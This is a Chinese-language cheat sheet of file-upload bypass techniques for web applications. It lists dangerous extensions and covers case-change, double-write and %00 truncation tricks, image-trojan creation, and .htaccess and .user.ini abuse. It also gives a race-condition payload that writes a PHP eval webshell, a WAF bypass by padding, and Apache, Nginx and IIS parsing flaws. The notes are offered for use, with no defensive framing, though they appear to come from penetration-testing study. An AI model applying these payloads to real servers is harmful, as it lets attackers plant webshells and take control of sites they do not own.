1.前端用js判断后端不检验,直接抓包绕过;
2.Content-type字段可以修改绕过;
3.危险可执行文件后缀:
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess
4.大小写绕过:.PHP
5.收尾去空去点 payload: 点+php+点+空格+点
6.str_isreplace()将特征值字符串替换成空,可使用双写绕过 .pphphp
7.GET上传文件,但上传路径可修改url后缀添加phpinfo.php%00绕过
8.POST上传文件,但上传文件路径可控 %00 要转编码
9.读文件字符串检测来判断文件类型检测方式,生成图片木马绕过
生成语句: copy logo.jpg/b+test.php/a test.jpg
10.文件内容检测 <? 判断
11.PUT协议上传文件,属于白给shell
Windows系统特性
1.文件名后缀加空格和加. windows自动过滤。
- ::$DATA是默认自动去除
Linux系统特性
1.Linux是根据文件文件头和文件内容判断文件类型,故只要文件中含有文件头,不管4字节和8字节均会被系统认为是图片文件。
逻辑漏洞(条件竞争):
1.文件上传到服务器rename修改文件后通过unlink删除文件;故可以直接burp一直提交另一边一直访问来生成导出shell;
Payload:
<?php fputs(fopen('shell.php','w'),'<?php@eval($_POST["cmd"])?>');?>2.非白名单上传文件,判断过滤函数过多,即可大批量图片马来频繁丢包,导致他服务器列队溢出,实现文件上传
3.$file判断是否为数组,可以在文件内容中提前输入数组变量绕过。
4.针对云锁有针对用户体验感特性,用大量垃圾字符/11111111/填充,使文件过大超出他检测范围
5.htaccess apache的仿静态配置文件,可让jpg赋予php的执行权限
6.user.ini 为LAMP 在nginx环境下利用
①这里的.user.ini文件的意思就是将当前目录下所有的文件都包含进当前目录的php文件进行解析
②构造好.user,ini文件后,讲其改名为.user.ini
③上传图片马
④上传.user.ini
⑤访问php文件即可获得shell
函数特性:
str_isreplace(): 双写绕过
getimagesize(): 图片马绕过
Imagecreatefromgif(): 16进制传gif对比上传文件hex不变位置插马
exif_imagetype():
图片马
要设置.htaccess定义高宽
#define width 100
#define height 100
3.利用x00x00x8ax39x8ax39
文件解析漏洞特性:
Apache: xxx.php.jpg
文件解析是从右到左开始判断解析,如果文件的后缀为不可识别,就再往左判断故可上传文件名xxx.php.222绕过
Nginx: Xxx.jpg%00xx.php
Nginx(0.5.,0.6., 0.7 ~0.7.65, 0.8~0.8.37):
url/xx.jpg%00.php
url/a.jpg%00\0.php
IIS 5.x/6.0解析漏洞:xxx.asp;.jpg
IIS 6.0默认解析:asp、asa、cer、cdx 文件为执行文件
IIS 7.0/IIS 7.5/ Nginx <0.8.3 默认开始Fast-CGI url/xx.jpg/.php